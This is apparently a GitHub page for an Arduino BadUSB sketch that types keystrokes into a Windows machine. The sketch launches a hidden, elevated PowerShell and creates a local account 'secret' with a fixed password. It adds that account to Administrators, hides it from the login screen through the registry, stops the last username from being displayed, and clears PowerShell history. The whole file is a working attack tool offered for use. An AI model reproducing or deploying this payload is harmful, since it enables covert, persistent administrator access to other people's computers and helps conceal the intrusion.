-
Notifications
You must be signed in to change notification settings - Fork 4
/
Copy pathBadUSB_adminAccountCreator.ino
225 lines (143 loc) · 4.32 KB
/
BadUSB_adminAccountCreator.ino
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
#include <Keyboard.h>
// Utility function
void typeKey(int key){
Keyboard.press(key);
delay(50);
Keyboard.release(key);
}
void setup()
{
// Start Keyboard and Mouse
Keyboard.begin();
delay(2000);
// Minimize all apps
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('d');
Keyboard.releaseAll();
delay(200);
// Start powershell as admin
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
Keyboard.releaseAll();
delay(200);
Keyboard.print("powershell.exe -windowstyle hidden");
delay(150);
Keyboard.press(KEY_LEFT_CTRL);
Keyboard.press(KEY_LEFT_SHIFT);
Keyboard.press(KEY_RETURN);
Keyboard.releaseAll();
delay(2000);
Keyboard.press(KEY_LEFT_ARROW);
Keyboard.releaseAll();
delay(150);
typeKey(KEY_RETURN);
delay(2000);
// Create a new user
Keyboard.print("net user secret thor /add");
typeKey(KEY_RETURN);
// Add this user to the localgroup "Administrators"
Keyboard.print("net localgroup Administrators secret /add");
typeKey(KEY_RETURN);
// Make this user invisible
Keyboard.print("reg add 'HKEY_LOCAL_MACHINE");
Keyboard.press(KEY_LEFT_CTRL);
Keyboard.press(KEY_LEFT_ALT);
Keyboard.press(173);
Keyboard.releaseAll();
Keyboard.print("Software");
Keyboard.press(KEY_LEFT_CTRL);
Keyboard.press(KEY_LEFT_ALT);
Keyboard.press(173);
Keyboard.releaseAll();
Keyboard.print("Microsoft");
Keyboard.press(KEY_LEFT_CTRL);
Keyboard.press(KEY_LEFT_ALT);
Keyboard.press(173);
Keyboard.releaseAll();
Keyboard.print("Windows");
Keyboard.press(KEY_LEFT_CTRL);
Keyboard.press(KEY_LEFT_ALT);
Keyboard.press(173);
Keyboard.releaseAll();
Keyboard.print("Windows NT");
Keyboard.press(KEY_LEFT_CTRL);
Keyboard.press(KEY_LEFT_ALT);
Keyboard.press(173);
Keyboard.releaseAll();
Keyboard.print("CurrentVersion");
Keyboard.press(KEY_LEFT_CTRL);
Keyboard.press(KEY_LEFT_ALT);
Keyboard.press(173);
Keyboard.releaseAll();
Keyboard.print("Winlogon");
Keyboard.press(KEY_LEFT_CTRL);
Keyboard.press(KEY_LEFT_ALT);
Keyboard.press(173);
Keyboard.releaseAll();
Keyboard.print("SpecialAccounts");
Keyboard.press(KEY_LEFT_CTRL);
Keyboard.press(KEY_LEFT_ALT);
Keyboard.press(173);
Keyboard.releaseAll();
Keyboard.print("Userlist' /v secret /t REG_DWORD /d 0 /f");
typeKey(KEY_RETURN);
// Set interactive logon on : Don't display last signed-in to allow you to connect to invisible account
Keyboard.print("Set-Itemproperty -path 'HKLM:");
Keyboard.press(KEY_LEFT_CTRL);
Keyboard.press(KEY_LEFT_ALT);
Keyboard.press(173);
Keyboard.releaseAll();
Keyboard.print("SOFTWARE");
Keyboard.press(KEY_LEFT_CTRL);
Keyboard.press(KEY_LEFT_ALT);
Keyboard.press(173);
Keyboard.releaseAll();
Keyboard.print("Microsoft");
Keyboard.press(KEY_LEFT_CTRL);
Keyboard.press(KEY_LEFT_ALT);
Keyboard.press(173);
Keyboard.releaseAll();
Keyboard.print("Windows");
Keyboard.press(KEY_LEFT_CTRL);
Keyboard.press(KEY_LEFT_ALT);
Keyboard.press(173);
Keyboard.releaseAll();
Keyboard.print("CurrentVersion");
Keyboard.press(KEY_LEFT_CTRL);
Keyboard.press(KEY_LEFT_ALT);
Keyboard.press(173);
Keyboard.releaseAll();
Keyboard.print("Policies");
Keyboard.press(KEY_LEFT_CTRL);
Keyboard.press(KEY_LEFT_ALT);
Keyboard.press(173);
Keyboard.releaseAll();
Keyboard.print("System' -Name 'dontdisplaylastusername' -value '1'");
typeKey(KEY_RETURN);
// Clear powershell command history
Keyboard.print("Clear-Content (Get-PSReadlineOption).HistorySavePath");
typeKey(KEY_RETURN);
Keyboard.print("exit");
typeKey(KEY_RETURN);
// Make capslock flash to know when you can unplug the BadUSB
Keyboard.write(KEY_CAPS_LOCK);
delay(150);
Keyboard.write(KEY_CAPS_LOCK);
delay(150);
Keyboard.write(KEY_CAPS_LOCK);
delay(150);
Keyboard.write(KEY_CAPS_LOCK);
delay(2000);
Keyboard.write(KEY_CAPS_LOCK);
delay(150);
Keyboard.write(KEY_CAPS_LOCK);
delay(150);
Keyboard.write(KEY_CAPS_LOCK);
delay(150);
Keyboard.write(KEY_CAPS_LOCK);
// End of Payload
// Stop Keyboard and Mouse
Keyboard.end();
}
// Unused
void loop() {}